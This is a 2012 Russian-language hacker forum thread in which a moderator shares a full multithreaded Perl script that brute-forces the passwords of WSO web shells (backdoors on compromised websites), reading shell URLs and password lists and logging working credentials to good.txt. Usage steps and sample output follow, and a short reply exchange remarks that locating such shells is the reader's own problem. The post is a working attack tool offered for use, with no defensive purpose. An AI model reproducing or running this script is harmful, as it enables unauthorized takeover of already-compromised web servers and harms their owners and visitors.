1. Теперь за форумную активность начисляются биткоины и другие криптоденьги. Подробнее.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

WSO Brute

Тема в разделе "Сканеры|:|Брут", создана пользователем Хулиган, 14 июн 2012.

  1. Хулиган
    Хулиган Команда форума Продвинутый
    Симпатии:
    242
    Брут пароля к шеллу WSO
    Написана на Perl
    Записеваем список шеллов в shells.txt, и список паролей в pass.txt .
    Сохрняем скрипт :

    Код:
    #!/usr/bin/perl -w
    
    use strict;
    use LWP::UserAgent;
    use File::Slurp;
    use threads;
    use threads::shared;
    
    ###
    my $threads = 50;
    ###
    
    open (SHELLS, '<', 'shells.txt') or warn "Wrong shells file [".$!."] => shells.txt\n" && exit;
    my @shells:shared;
    read_list();
    
    my @pass = read_file('pass.txt');
    
    print " Starting threads ... [OK]\n";
    threads->new(\&thread) for 1 .. $threads;
    $_->join for threads->list;
    
    close(SHELLS);
    
    sub thread {
    	my $ua = LWP::UserAgent->new;
    	$ua->timeout(30);
    	$ua->agent('Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0 Iceweasel/10.0');
    	while (@shells) {
    		my $shell;
    		{
    			lock(@shells);
    			$shell = shift @shells;
    		}
    		chomp $shell;
    		# TODO: DATA CODE
    		######################################################
    		START:
    		my %content = ();
    		#загрузка страницы регистрации
    		next unless (check($ua, \%content, $shell));
    		#print Dumper(\%content);
    		#exit;
    		
    		# Сохранение аккаунта
    		save(\%content);
    		#print Dumper(\%content);
    		#exit;
    		######################################################
    		if (scalar(@shells) <= $threads) {
    			read_list() or last;
    		}
    	}
    }
    
    sub check {
    	my ($ua, $h, $shell) = @_;
    	${$h}{'url'} = $shell;
    	
    	for (@pass) {
    		chomp;
    		${$h}{'pass'} = $_;
    		my $p = $ua->post($shell, {
    			pass => @_,
    		});
    		
    		if ($p->content =~ m#value='>>'></form>#) {
    			return 1;
    		} else {
    			print "[".${$h}{'url'}."] -> [".${$h}{'pass'}."] -> [BAD]\n";
    		}
    	}
    }
    
    sub save {
    	my ($h) = @_;
    	
    	print "[".${$h}{'url'}."] -> [".${$h}{'pass'}."] -> [GOOD]\n";
    	open (RES, '>>', 'good.txt');
    	print RES ${$h}{'url'}."\tPassword:".${$h}{'pass'}."\n";
    	close(RES);
    }
    
    sub read_list {
    	my $n = $threads;
    	$n = $n*2;
    	{
    		lock(@shells);
    		for (1..$n) {
    			my $x = <SHELLS>;
    			return 1 unless ($x);
    			push @shells, $x;
    		}
    	}
    	return undef;
    }


    В самом скрипте можно подредактировать кол-во потоков:

    Код:
    ###
    my $threads = 50;
    ###
    На выходе получим good.txt со списком вида:

    Код:
    http://site.com1/shell.php	Password:root1
    http://site.com2/shell.php	Password:root2
    http://site.com3/shell.php	Password:root3
    ActivePerl В гугле

    Автор скрипта mr. Lex, GraBBerZ.CoM
     
    14 июн 2012
    1 человеку нравится это.
  2. ToBapuw_XaKep
    ToBapuw_XaKep Новичок
    Симпатии:
    8
    самое интересное - найти эти шеллы. Они на дороге не валяются, благо защита от поисковиков пока на ок работает
     
    14 июн 2012
  3. Хулиган
    Хулиган Команда форума Продвинутый
    Симпатии:
    242
    Ну так где их искать - это уже ваши проблемы
     
    14 июн 2012

Поделиться этой страницей

Загрузка...